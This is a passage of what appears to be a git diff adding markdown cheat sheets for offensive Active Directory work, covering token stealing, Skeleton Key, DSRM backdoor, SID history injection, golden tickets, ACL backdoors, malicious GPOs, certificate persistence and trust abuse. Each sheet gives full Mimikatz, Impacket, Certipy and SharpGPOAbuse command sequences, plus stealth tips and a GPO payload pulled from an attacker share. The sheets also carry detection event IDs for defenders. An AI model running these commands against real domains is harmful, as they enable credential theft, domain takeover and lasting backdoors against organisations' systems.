Admin) is logged into a compromised machine, their **access token** persists in memory. An attacker with local admin/SYSTEM can **steal that token** and use it to perform actions as that user — including accessing other machines, without knowing their password. This differs from Attack #45 (SeImpersonatePrivilege) — this is about **stealing existing logged-in user tokens** for lateral movement. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **SYSTEM or local admin on target** | To access other users' tokens | +| **Privileged user logged in** | DA/admin must have an active or cached session | + +*** + +## 💻 Full Commands + +```powershell +# ── Mimikatz — token manipulation ───────────────────────────────────────────── +privilege::debug +token::elevate # Elevate to SYSTEM token +token::list # List all available tokens +token::impersonate /user:CORP\da_admin # Impersonate a specific user's token + +# After impersonation: +dir \\DC01.corp.local\C$ # Access DC as DA +lsadump::dcsync /domain:corp.local /user:krbtgt # DCSync as DA +``` + +```bash +# ── Meterpreter — Incognito ─────────────────────────────────────────────────── +meterpreter> load incognito +meterpreter> list_tokens -u +# Delegation Tokens Available: +# CORP\da_admin +meterpreter> impersonate_token "CORP\da_admin" +meterpreter> shell +whoami +# corp\da_admin +``` + +```powershell +# ── Cobalt Strike (beacon) ──────────────────────────────────────────────────── +# steal_token <PID> # Steal token from a specific process +# make_token CORP\user pass # Create token with credentials +# rev2self # Revert to original token +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4624** | Security Log | Logon Type 9 (NewCredentials) — token impersonation | +| **Sysmon 10** | Sysmon | Process access — tool accessing LSASS for token enumeration | + +*** + +## 🔗 Attack Chain Context + +``` +[Token Stealing] ──→ Steal logged-in admin's token → lateral movement as them + │ + ├──→ 🔑 No password needed — just steal the token from memory + ├──→ 🔗 Commonly used after: initial compromise → SYSTEM → token theft + └──→ 💀 Defeated by: limit DA logon to workstations, use PAW, Credential Guard +``` + +*** + +> ✅ **Attack #60 — Token Stealing complete.** + +*** + +> 🏁 **Category 7 — Lateral Movement is now COMPLETE (7/7 attacks).** diff --git a/src/content/sheets/active-directory/attack-61-skeleton-key-attack.md b/src/content/sheets/active-directory/attack-61-skeleton-key-attack.md @@ -0,0 +1,88 @@ +--- +title: "Attack #61 — Skeleton Key Attack" +description: "The Skeleton Key attack patches the LSASS process on a Domain Controller to add a master password (\"skeleton key\") that works alongside every user's real…" +category: active-directory +tags: ["active-directory", "privilege-escalation"] +tools: ["Mimikatz", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Eight/🟤 Attack #61 — Skeleton Key Attack.md" +--- +# 🟤 Attack #61 — Skeleton Key Attack + +*** + +## 📖 How It Works + +The Skeleton Key attack patches the **LSASS process on a Domain Controller** to add a master password ("skeleton key") that works alongside every user's real password. After patching, the attacker can authenticate as **any domain user** using the skeleton key password (default: `mimikatz`) while the user's original password continues to work normally — making it invisible. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Domain Admin / SYSTEM on DC** | Required to patch LSASS | +| **Physical/remote access to DC** | Must run Mimikatz on the DC itself | + +*** + +## 💻 Full Commands + +```powershell +# ── Inject Skeleton Key into LSASS ─────────────────────────────────────────── +mimikatz.exe +privilege::debug +misc::skeleton +# [KDC] Skeleton Key implanted +# Default skeleton key password: "mimikatz" + +# ── Now authenticate as ANY user with skeleton key ──────────────────────────── +net use \\TARGET\C$ /user:corp\Administrator mimikatz +# Also works: runas /user:corp\any_user /netonly cmd.exe (password: mimikatz) +# Original user password ALSO still works — no disruption +``` + +```bash +# ── Linux — authenticate with skeleton key ──────────────────────────────────── +psexec.py corp.local/Administrator:'mimikatz'@DC01.corp.local +smbclient.py corp.local/any_user:'mimikatz'@DC01.corp.local +``` + +*** + +## 🎯 OPSEC Tips + +- **In-memory only** — doesn't survive DC reboot; must re-inject after restart +- **Only affects the patched DC** — if multiple DCs exist, must patch each one +- **LSASS patching may crash** — risky on production DCs +- **Default password is `mimikatz`** — change via custom Mimikatz build for stealth + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **7036** | System Log | LSASS crash or restart (if patching fails) | +| **Sysmon 10** | Sysmon | Process access — writing to LSASS memory | +| **4624** | Security Log | Successful logon with RC4 encryption (Skeleton Key forces RC4 downgrade) | + +**Primary detection:** Skeleton Key forces RC4 (etype 23) for Kerberos authentication. In environments enforcing AES-only, any AS-REQ/TGT using RC4 encryption type is highly suspicious. + +*** + +## 🔗 Attack Chain Context + +``` +[Skeleton Key] ──→ Master Password for All Domain Accounts + │ + ├──→ 🔑 Every user has two passwords: their real one + "mimikatz" + ├──→ ⚠️ In-memory only — doesn't survive reboot + ├──→ 🔗 Must have DA to deploy; used for persistence + └──→ 💀 Defeated by: enforce AES, run Protected Process Light, monitor LSASS access +``` + +*** + +> ✅ **Attack #61 — Skeleton Key complete.** diff --git a/src/content/sheets/active-directory/attack-62-dsrm-backdoor-abuse.md b/src/content/sheets/active-directory/attack-62-dsrm-backdoor-abuse.md @@ -0,0 +1,82 @@ +--- +title: "Attack #62 — DSRM Backdoor Abuse" +description: "Every DC has a Directory Services Restore Mode (DSRM) administrator account with a separate password set during DC promotion. By default, this account…" +category: active-directory +tags: ["active-directory", "ntlm", "privilege-escalation", "hashing"] +tools: ["Mimikatz", "Evil-WinRM", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Eight/🟤 Attack #62 — DSRM Backdoor Abuse.md" +--- +# 🟤 Attack #62 — DSRM Backdoor Abuse + +*** + +## 📖 How It Works + +Every DC has a **Directory Services Restore Mode (DSRM)** administrator account with a separate password set during DC promotion. By default, this account can't be used for network logons. However, modifying the registry key `DsrmAdminLogonBehavior` to `2` allows the DSRM administrator to authenticate over the network — creating a **persistent backdoor** that survives AD credential resets, KRBTGT rotation, and even domain trust rebuilds. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Local admin / SYSTEM on DC** | To modify registry and dump DSRM hash | + +*** + +## 💻 Full Commands + +```powershell +# ── Step 1: Dump DSRM password hash ────────────────────────────────────────── +mimikatz.exe +privilege::debug +token::elevate +lsadump::sam +# Look for: Administrator (local) — this is the DSRM account hash + +# ── Step 2: Enable network logon for DSRM ──────────────────────────────────── +reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f +# Value 0 = DSRM only in restore mode (default) +# Value 1 = DSRM when AD DS is stopped +# Value 2 = DSRM always allowed for network logon ← what we want + +# ── Step 3: Use DSRM hash for network access ───────────────────────────────── +# PtH with the DSRM Administrator hash: +sekurlsa::pth /domain:DC01 /user:Administrator /ntlm:<DSRM_HASH> /run:cmd.exe +# Note: /domain is the DC hostname, NOT the domain — this is the local admin + +# Result: Can access DC01 as .\Administrator forever +``` + +```bash +# ── From Linux — PtH with DSRM hash ────────────────────────────────────────── +psexec.py ./Administrator@DC01.corp.local -hashes :<DSRM_HASH> +evil-winrm -i DC01.corp.local -u Administrator -H <DSRM_HASH> +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4657** | Security Log (DC) | Registry modification — DsrmAdminLogonBehavior created/changed | +| **4624** | Security Log (DC) | Local Administrator logon on DC (not domain admin) | + +*** + +## 🔗 Attack Chain Context + +``` +[DSRM Backdoor] ──→ Permanent DC Access via Local Admin Account + │ + ├──→ 🔒 Survives: KRBTGT rotation, DA password resets, trust rebuilds + ├──→ 🔗 Only detected by: monitoring DsrmAdminLogonBehavior registry key + └──→ 💀 Defeated by: monitor registry, never set DsrmAdminLogonBehavior to 2 +``` + +*** + +> ✅ **Attack #62 — DSRM Backdoor complete.** diff --git a/src/content/sheets/active-directory/attack-63-sid-history-injection.md b/src/content/sheets/active-directory/attack-63-sid-history-injection.md @@ -0,0 +1,78 @@ +--- +title: "Attack #63 — SID History Injection" +description: "sIDHistory is an AD attribute designed for domain migrations — it preserves a user's old SID so they retain access to resources from a previous domain. An…" +category: active-directory +tags: ["active-directory", "privilege-escalation"] +tools: ["Mimikatz", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Eight/🟤 Attack #63 — SID History Injection.md" +--- +# 🟤 Attack #63 — SID History Injection + +*** + +## 📖 How It Works + +`sIDHistory` is an AD attribute designed for domain migrations — it preserves a user's old SID so they retain access to resources from a previous domain. An attacker can **inject the SID of a privileged group** (e.g., Enterprise Admins, SID `S-1-5-21-<domain>-519`) into a normal user's `sIDHistory`, granting them those privileges without actually being a member of the group. + +This is typically done via Mimikatz `sid::add` or DCShadow. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Domain Admin / SYSTEM on DC** | Required to modify sIDHistory | +| **Or DCShadow capability** | Alternative injection method | + +*** + +## 💻 Full Commands + +```powershell +# ── Mimikatz — inject Enterprise Admin SID into user's SID History ─────────── +mimikatz.exe +privilege::debug +sid::patch +sid::add /sam:backdoor_user /new:S-1-5-21-<domain_SID>-519 +# 519 = Enterprise Admins +# 512 = Domain Admins +# 500 = Administrator RID + +# ── Verify ──────────────────────────────────────────────────────────────────── +Get-ADUser backdoor_user -Properties sIDHistory | Select sIDHistory + +# ── DCShadow method (stealthier) ────────────────────────────────────────────── +# Terminal 1 (SYSTEM): lsadump::dcshadow /object:backdoor_user /attribute:sidHistory /value:S-1-5-21-...-519 +# Terminal 2 (DA): lsadump::dcshadow /push +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4765** | Security Log (DC) | SID History was added to an account | +| **4766** | Security Log (DC) | SID History add attempt failed | +| **4738** | Security Log (DC) | User account changed — sIDHistory modified | + +**Detection tip:** Query for users with `sIDHistory` populated: `Get-ADUser -Filter {sIDHistory -like "*"} -Properties sIDHistory` + +*** + +## 🔗 Attack Chain Context + +``` +[SID History] ──→ Invisible Privilege Escalation via SID Injection + │ + ├──→ 🔑 User appears normal but has hidden EA/DA privileges + ├──→ 🔗 Used for: cross-domain trust abuse (#68), persistence + └──→ 💀 Defeated by: audit sIDHistory, SID filtering on trusts, monitor 4765 +``` + +*** + +> ✅ **Attack #63 — SID History Injection complete.** diff --git a/src/content/sheets/active-directory/attack-64-golden-ticket-persistence.md b/src/content/sheets/active-directory/attack-64-golden-ticket-persistence.md @@ -0,0 +1,77 @@ +--- +title: "Attack #64 — Golden Ticket Persistence" +description: "A Golden Ticket provides persistent domain access by forging TGTs using the KRBTGT hash. As a persistence technique (not just one-time escalation), the…" +category: active-directory +tags: ["active-directory", "kerberos", "adcs", "credential-access", "persistence"] +tools: ["Impacket", "Mimikatz", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Eight/🟤 Attack #64 — Golden Ticket Persistence.md" +--- +# 🟤 Attack #64 — Golden Ticket Persistence + +*** + +## 📖 How It Works + +A Golden Ticket provides **persistent domain access** by forging TGTs using the KRBTGT hash. As a persistence technique (not just one-time escalation), the attacker stores the KRBTGT hash offline and forges new TGTs whenever needed — maintaining access even if the compromised DA account's password is reset. Only a **double KRBTGT password rotation** invalidates existing Golden Tickets. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **KRBTGT hash** | Previously extracted via DCSync | +| **Domain SID** | For ticket crafting | + +*** + +## 💻 Full Commands + +```powershell +# ── Forge Golden Ticket for persistent access ───────────────────────────────── +mimikatz.exe +kerberos::golden /user:Administrator /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /krbtgt:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \ + /ptt + +# ── With 10-year validity ──────────────────────────────────────────────────── +kerberos::golden /user:Administrator /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /krbtgt:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \ + /startoffset:-10 /endin:43200 /renewmax:86400 /ptt +``` + +```bash +# ── Impacket — forge and save Golden Ticket ─────────────────────────────────── +ticketer.py -nthash 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \ + -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \ + -domain corp.local Administrator + +export KRB5CCNAME=Administrator.ccache +psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local +``` + +*** + +## 🎯 OPSEC Tips + +- **Store KRBTGT hash securely** — it's the key to unlimited domain access +- **Forge tickets as needed** — don't use a single Golden Ticket continuously +- **Use Diamond (#13) or Sapphire (#14) Tickets** for better OPSEC +- **Only invalidated by**: KRBTGT password reset **twice** (to clear both current and previous keys) + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4769** | Security Log (DC) | TGS request with no corresponding 4768 AS-REQ | +| **4624** | Security Log | DA logon from unexpected source with no prior TGT event | + +*** + +> ✅ **Attack #64 — Golden Ticket Persistence complete.** diff --git a/src/content/sheets/active-directory/attack-65-acl-backdooring-persistence-via-dcsync-ace.md b/src/content/sheets/active-directory/attack-65-acl-backdooring-persistence-via-dcsync-ace.md @@ -0,0 +1,81 @@ +--- +title: "Attack #65 — ACL Backdooring (Persistence via DCSync ACE)" +description: "An attacker with DA can add hidden ACEs to domain objects to maintain persistent access. The most common pattern: grant a seemingly innocuous user DCSync…" +category: active-directory +tags: ["active-directory", "adcs", "credential-access", "persistence"] +tools: ["PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Eight/🟤 Attack #65 — ACL Backdooring (Persistence via DCSync ACE).md" +--- +# 🟤 Attack #65 — ACL Backdooring (Persistence via DCSync ACE) + +*** + +## 📖 How It Works + +An attacker with DA can **add hidden ACEs** to domain objects to maintain persistent access. The most common pattern: grant a seemingly innocuous user DCSync rights on the domain root, or add GenericAll on the DA group, or backdoor AdminSDHolder (#26). Even after the DA account is revoked, the backdoor ACE allows re-escalation. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Domain Admin** | To modify ACLs on domain objects | + +*** + +## 💻 Full Commands + +```powershell +# ── Grant DCSync to a low-priv user (persistence) ──────────────────────────── +Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \ + -PrincipalIdentity svc_monitoring -Rights DCSync -Verbose +# svc_monitoring now has permanent DCSync — looks like a service account + +# ── Grant GenericAll on DA group ────────────────────────────────────────────── +Add-DomainObjectAcl -TargetIdentity "Domain Admins" \ + -PrincipalIdentity svc_monitoring -Rights All + +# ── BackdoorAdminSDHolder (Attack #26 — self-healing) ──────────────────────── +Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \ + -PrincipalIdentity svc_monitoring -Rights All + +# ── Verify ──────────────────────────────────────────────────────────────────── +Get-ObjectAcl "DC=corp,DC=local" -ResolveGUIDs | Where-Object { + $_.IdentityReference -match "svc_monitoring" +} +``` + +```bash +# ── Linux ───────────────────────────────────────────────────────────────────── +dacledit.py -action write -rights DCSync \ + -principal svc_monitoring -target-dn "DC=corp,DC=local" \ + corp.local/Administrator:'Password1' -dc-ip 10.10.10.10 +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4662** | Security Log (DC) | DACL write on domain root | +| **5136** | Security Log (DC) | nTSecurityDescriptor modified | + +*** + +## 🔗 Attack Chain Context + +``` +[ACL Backdooring] ──→ Persistent Privilege Re-Escalation via Hidden ACEs + │ + ├──→ 🔗 DCSync ACE + AdminSDHolder = self-healing persistent access + ├──→ 📋 Survives DA account revocation — the backdoor ACE remains + └──→ 💀 Defeated by: regular ACL audits, baseline domain root DACL +``` + +*** + +> ✅ **Attack #65 — ACL Backdooring complete.** diff --git a/src/content/sheets/active-directory/attack-66-malicious-gpo-creation.md b/src/content/sheets/active-directory/attack-66-malicious-gpo-creation.md @@ -0,0 +1,82 @@ +--- +title: "Attack #66 — Malicious GPO Creation" +description: "An attacker with GPO creation rights (or who compromises a GPO-managing account) can create or modify Group Policy Objects to execute malicious scripts…" +category: active-directory +tags: ["active-directory"] +tools: ["NetExec", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Eight/🟤 Attack #66 — Malicious GPO Creation.md" +--- +# 🟤 Attack #66 — Malicious GPO Creation + +*** + +## 📖 How It Works + +An attacker with **GPO creation rights** (or who compromises a GPO-managing account) can create or modify Group Policy Objects to execute malicious scripts, create scheduled tasks, or deploy software across the domain. GPOs can target specific OUs — allowing precise payload delivery to selected groups of machines or users. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **GPO creation/edit rights** | Typically Group Policy Creator Owners or DA | +| **GPO linked to target OU** | Must link GPO for it to apply | + +*** + +## 💻 Full Commands + +```powershell +# ── Create new GPO ──────────────────────────────────────────────────────────── +New-GPO -Name "IT Maintenance" | New-GPLink -Target "OU=Servers,DC=corp,DC=local" + +# ── Add startup script to GPO ───────────────────────────────────────────────── +Set-GPPrefRegistryValue -Name "IT Maintenance" -Action Create \ + -Context Computer -Key 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' \ + -ValueName 'Maintenance' -Type String -Value '\\ATTACKER\share\evil.exe' + +# ── SharpGPOAbuse (automated GPO abuse) ─────────────────────────────────────── +.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" \ + --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" \ + --Arguments "/c net user hacker P@ss! /add && net localgroup Administrators hacker /add" \ + --GPOName "IT Maintenance" + +# ── pyGPOAbuse (Linux) ──────────────────────────────────────────────────────── +python3 pygpoabuse.py corp.local/Administrator:'Password1' \ + -gpo-id "12345678-ABCD-1234-ABCD-123456789012" \ + -command "net user hacker P@ss! /add" -f +``` + +```bash +# ── NetExec — execute via GPO ───────────────────────────────────────────────── +nxc smb DC01.corp.local -u Administrator -p 'Password1' -M gpo_abuse +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **5136** | Security Log (DC) | GroupPolicyContainer object modified | +| **4688** | Security Log | Script execution from GPO startup/logon path | +| **5145** | Security Log | SYSVOL script access | + +*** + +## 🔗 Attack Chain Context + +``` +[Malicious GPO] ──→ Domain-wide code execution via Group Policy + │ + ├──→ 💻 Deploy malware, create admin users, disable AV across the domain + ├──→ 🔗 GPO applies on reboot/logon — patient persistence + └──→ 💀 Defeated by: restrict GPO creation rights, audit GPO changes +``` + +*** + +> ✅ **Attack #66 — Malicious GPO Creation complete.** diff --git a/src/content/sheets/active-directory/attack-67-adcs-certificate-based-persistence.md b/src/content/sheets/active-directory/attack-67-adcs-certificate-based-persistence.md @@ -0,0 +1,82 @@ +--- +title: "Attack #67 — ADCS Certificate-Based Persistence" +description: "An attacker who has compromised a DA account can request a long-lived client authentication certificate for that account. Even after the DA password is…" +category: active-directory +tags: ["active-directory", "adcs", "persistence", "hashing"] +tools: ["Rubeus", "Certipy", "Certify", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Eight/🟤 Attack #67 — ADCS Certificate-Based Persistence.md" +--- +# 🟤 Attack #67 — ADCS Certificate-Based Persistence + +*** + +## 📖 How It Works + +An attacker who has compromised a DA account can **request a long-lived client authentication certificate** for that account. Even after the DA password is changed, the certificate remains valid for authentication via PKINIT — typically for 1 year or more. Combined with **Golden Certificate (#35)** (stealing the CA private key to forge unlimited certs), ADCS persistence is the strongest persistence mechanism in AD. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **DA or target user credentials** | To request a certificate | +| **ADCS deployed** | With Client Authentication templates available | + +*** + +## 💻 Full Commands + +```bash +# ── Request a long-lived cert as Administrator ──────────────────────────────── +certipy req -u Administrator@corp.local -p 'Password1' -ca CORP-CA \ + -template User -dc-ip 10.10.10.10 +# Output: administrator.pfx (valid for template's configured lifetime, default 1 year) + +# ── Use cert after password change (months later) ──────────────────────────── +certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 +# Returns current NT hash — even though password was changed + +# ── Golden Certificate (ultimate persistence — Attack #35) ─────────────────── +# Forge unlimited certificates using stolen CA key: +certipy forge -ca-pfx CORP-CA.pfx -upn Administrator@corp.local -subject "CN=Administrator" +certipy auth -pfx forged_administrator.pfx -dc-ip 10.10.10.10 +``` + +```powershell +# ── Certify (Windows) ───────────────────────────────────────────────────────── +.\Certify.exe request /ca:CORP-CA /template:User +# Convert PEM to PFX, then use Rubeus for PKINIT: +.\Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /password:pass /ptt +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4886** | Security Log (CA) | Certificate enrollment by admin account | +| **4768** | Security Log (DC) | PKINIT authentication — smart card logon for non-smart-card user | + +*** + +## 🔗 Attack Chain Context + +``` +[ADCS Persistence] ──→ Long-lived certificates survive password changes + │ + ├──→ 🔒 Cert valid 1+ year — outlasts password rotation policies + ├──→ 💀 Golden Certificate: forge unlimited certs = permanent access + └──→ 💀 Defeated by: short cert lifetimes, CA key protection, cert revocation +``` + +*** + +> ✅ **Attack #67 — ADCS Certificate-Based Persistence complete.** + +*** + +> 🏁 **Category 8 — Persistence Techniques is now COMPLETE (7/7 attacks).** diff --git a/src/content/sheets/active-directory/attack-68-cross-domain-trust-abuse-sid-history.md b/src/content/sheets/active-directory/attack-68-cross-domain-trust-abuse-sid-history.md @@ -0,0 +1,90 @@ +--- +title: "Attack #68 — Cross-Domain Trust Abuse (SID History)" +description: "In AD forests with multiple domains connected by trust relationships, compromising one child domain gives a path to the forest root domain. By forging a…" +category: active-directory +tags: ["active-directory", "kerberos", "credential-access", "privilege-escalation", "hashing"] +tools: ["Impacket", "Mimikatz", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Nine/🔶 Attack #68 — Cross-Domain Trust Abuse (SID History).md" +--- +# 🔶 Attack #68 — Cross-Domain Trust Abuse (SID History) + +*** + +## 📖 How It Works + +In AD forests with multiple domains connected by **trust relationships**, compromising one child domain gives a path to the forest root domain. By forging a Golden Ticket in the child domain and injecting the **Enterprise Admins SID** from the parent domain into the ticket's `sIDHistory` field (via the `ExtraSids` PAC field), the attacker gains Enterprise Admin privileges across the entire forest. + +This works because **parent-child trust is bidirectional and transitive by default**, and SID filtering is **NOT** enforced on inter-domain trusts within the same forest. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **KRBTGT hash of child domain** | Obtained via DCSync in child domain | +| **Child domain SID** | Domain SID of compromised child | +| **Enterprise Admins SID** | Typically the forest root domain SID + `-519` | + +*** + +## 💻 Full Commands + +```powershell +# ── Get child domain KRBTGT hash ───────────────────────────────────────────── +mimikatz.exe "lsadump::dcsync /domain:child.corp.local /user:krbtgt" exit + +# ── Get parent domain SID ───────────────────────────────────────────────────── +Get-ADDomain -Identity corp.local | Select DomainSID +# S-1-5-21-<parent_SID> +# Enterprise Admins = S-1-5-21-<parent_SID>-519 + +# ── Forge Golden Ticket with parent EA SID ──────────────────────────────────── +kerberos::golden /user:Administrator /domain:child.corp.local \ + /sid:S-1-5-21-<child_SID> /krbtgt:<child_krbtgt_hash> \ + /sids:S-1-5-21-<parent_SID>-519 /ptt +# The /sids parameter injects Enterprise Admins SID into ExtraSids PAC field + +# ── Access parent domain as Enterprise Admin ────────────────────────────────── +dir \\PARENT-DC.corp.local\C$ +lsadump::dcsync /domain:corp.local /user:krbtgt +``` + +```bash +# ── Impacket — forge ticket with extra SID ──────────────────────────────────── +ticketer.py -nthash <child_krbtgt_hash> \ + -domain-sid S-1-5-21-<child_SID> \ + -domain child.corp.local \ + -extra-sid S-1-5-21-<parent_SID>-519 \ + Administrator + +export KRB5CCNAME=Administrator.ccache +secretsdump.py -k -no-pass corp.local/Administrator@PARENT-DC.corp.local +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4769** | Security Log (DC) | TGS request from child domain for parent domain resources | +| **4624** | Security Log | Logon with Enterprise Admin SID in token but no EA group membership | + +*** + +## 🔗 Attack Chain Context + +``` +[Cross-Domain Trust] ──→ Child Domain → Enterprise Admin in entire forest + │ + ├──→ 🔗 Golden Ticket /sids = ExtraSids SID injection + ├──→ ⚠️ SID filtering NOT enforced within forest trusts + └──→ 💀 Defeated by: SID filtering on external trusts, selective auth +``` + +*** + +> ✅ **Attack #68 — Cross-Domain Trust Abuse complete.** diff --git a/src/content/sheets/active-directory/attack-69-forest-trust-abuse-cross-forest-ticket-forging.md b/src/content/sheets/active-directory/attack-69-forest-trust-abuse-cross-forest-ticket-forging.md @@ -0,0 +1,87 @@ +--- +title: "Attack #69 — Forest Trust Abuse Cross-Forest Ticket Forging" +description: "When two forests have a forest trust, users from one forest can access resources in the other (if explicitly permitted). An attacker who compromises the…" +category: active-directory +tags: ["active-directory", "kerberos", "credential-access", "hashing"] +tools: ["Impacket", "Mimikatz", "Rubeus", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Nine/🔶 Attack #69 — Forest Trust Abuse Cross-Forest Ticket Forging.md" +--- +# 🔶 Attack #69 — Forest Trust Abuse / Cross-Forest Ticket Forging + +*** + +## 📖 How It Works + +When two forests have a **forest trust**, users from one forest can access resources in the other (if explicitly permitted). An attacker who compromises the **inter-realm trust key** (the password of the `FOREST2$` trust account) can forge inter-realm TGTs to access the trusted forest. Unlike intra-forest trusts, **SID filtering IS enforced** on forest trusts — so the ExtraSids trick from Attack #68 won't work. Instead, the attacker must target **shared/delegated groups** that have been granted access across the trust. + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **KRBTGT hash (your domain)** | Or the inter-realm trust key | +| **Trust relationship exists** | Bidirectional or one-way forest trust | +| **Shared groups / resources** | Foreign domain groups your SID matches | + +*** + +## 💻 Full Commands + +```powershell +# ── Enumerate trust relationships ───────────────────────────────────────────── +Get-ADTrust -Filter * | Select Name,Direction,TrustType,ForestTransitive + +# ── Dump inter-realm trust key ──────────────────────────────────────────────── +mimikatz.exe "lsadump::dcsync /domain:corp.local /user:partner$" exit +# partner$ = the trust account for partner.com forest trust + +# ── Forge inter-realm TGT ───────────────────────────────────────────────────── +kerberos::golden /user:Administrator /domain:corp.local \ + /sid:S-1-5-21-<corp_SID> /rc4:<trust_key_hash> \ + /service:krbtgt /target:partner.com /ptt +# This creates a referral ticket to the partner forest + +# ── Request TGS in the foreign forest ───────────────────────────────────────── +.\Rubeus.exe asktgs /ticket:<inter-realm_TGT> \ + /service:cifs/PARTNER-DC.partner.com /dc:PARTNER-DC.partner.com /ptt +``` + +```bash +# ── Impacket ────────────────────────────────────────────────────────────────── +ticketer.py -nthash <trust_key_hash> \ + -domain-sid S-1-5-21-<corp_SID> \ + -domain corp.local \ + -spn krbtgt/partner.com \ + Administrator + +export KRB5CCNAME=Administrator.ccache +# Then access permitted resources in partner.com +``` + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4769** | Security Log (DC) | TGS request from external forest | +| **4768** | Security Log (DC) | Inter-realm TGT referral | + +*** + +## 🔗 Attack Chain Context + +``` +[Forest Trust Abuse] ──→ Cross-forest lateral movement via trust key + │ + ├──→ ⚠️ SID filtering BLOCKS ExtraSids on forest trusts + ├──→ 🔗 Must target groups explicitly shared across trust + └──→ 💀 Defeated by: selective authentication, minimize trust scope +``` + +*** + +> ✅ **Attack #69 — Forest Trust Abuse complete.** diff --git a/src/content/sheets/active-directory/attack-7-ntlm-relay-attacks.md b/src/content/sheets/active-directory/attack-7-ntlm-relay-attacks.md @@ -0,0 +1,526 @@ +--- +title: "Attack #7 — NTLM Relay Attacks" +description: "NTLM relay is a man-in-the-middle attack that intercepts an NTLM authentication challenge-response in transit and forwards it to a different target before…" +category: active-directory +tags: ["active-directory", "kerberos", "ntlm", "relay", "hashing"] +tools: ["Nmap", "NetExec", "Impacket", "Rubeus", "Hashcat"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-One/🔴 Attack #7 — NTLM Relay Attacks.md" +--- +# 🔴 Attack #7 — NTLM Relay Attacks + +*** + +## 📖 How It Works + +NTLM relay is a **man-in-the-middle attack** that intercepts an NTLM authentication challenge-response in transit and **forwards it to a different target** before the original session completes. The attacker never needs to crack or possess the password — they simply sit between the authenticating client and a vulnerable target server, acting as a transparent proxy that relays the victim's credentials to gain access as them. The entire attack hinges on one critical misconfiguration: **SMB signing not being enforced** on the target, which means the relayed authentication cannot be cryptographically verified as originating from the correct source. + +The NTLM three-way handshake is the mechanism being abused: the client sends a NEGOTIATE, the server responds with a CHALLENGE, and the client replies with an AUTHENTICATE response containing the Net-NTLMv2 hash. The attacker receives the victim's AUTHENTICATE response and immediately replays it against a target server of their choosing. Because Net-NTLMv2 is tied to the specific challenge issued by the server, you **cannot crack and reuse it for PtH** — but you absolutely can relay it live. + +> ⚠️ **Windows 11 / Server 2025:** SMB signing required by default in Windows 11 24H2+, fundamentally altering the attack landscape. NTLM is on Microsoft's deprecation timeline with Kerberos as the replacement. Organizations in transition periods are most vulnerable — partial enforcement creates windows where relay remains viable. Check SMB config per target; never assume blanket hardening. + +### NTLM Relay vs Pass-the-Hash — Critical Distinction + +| Property | NTLM Relay | Pass-the-Hash | +|---|---|---| +| **What you capture** | Net-NTLMv2 challenge-response (live) | NT hash (from LSASS/SAM) | +| **Can be cracked?** | Yes (Hashcat -m 5600) but slow | N/A — already a hash | +| **Can be replayed for PtH?** | ❌ No | ✅ Yes | +| **Requires 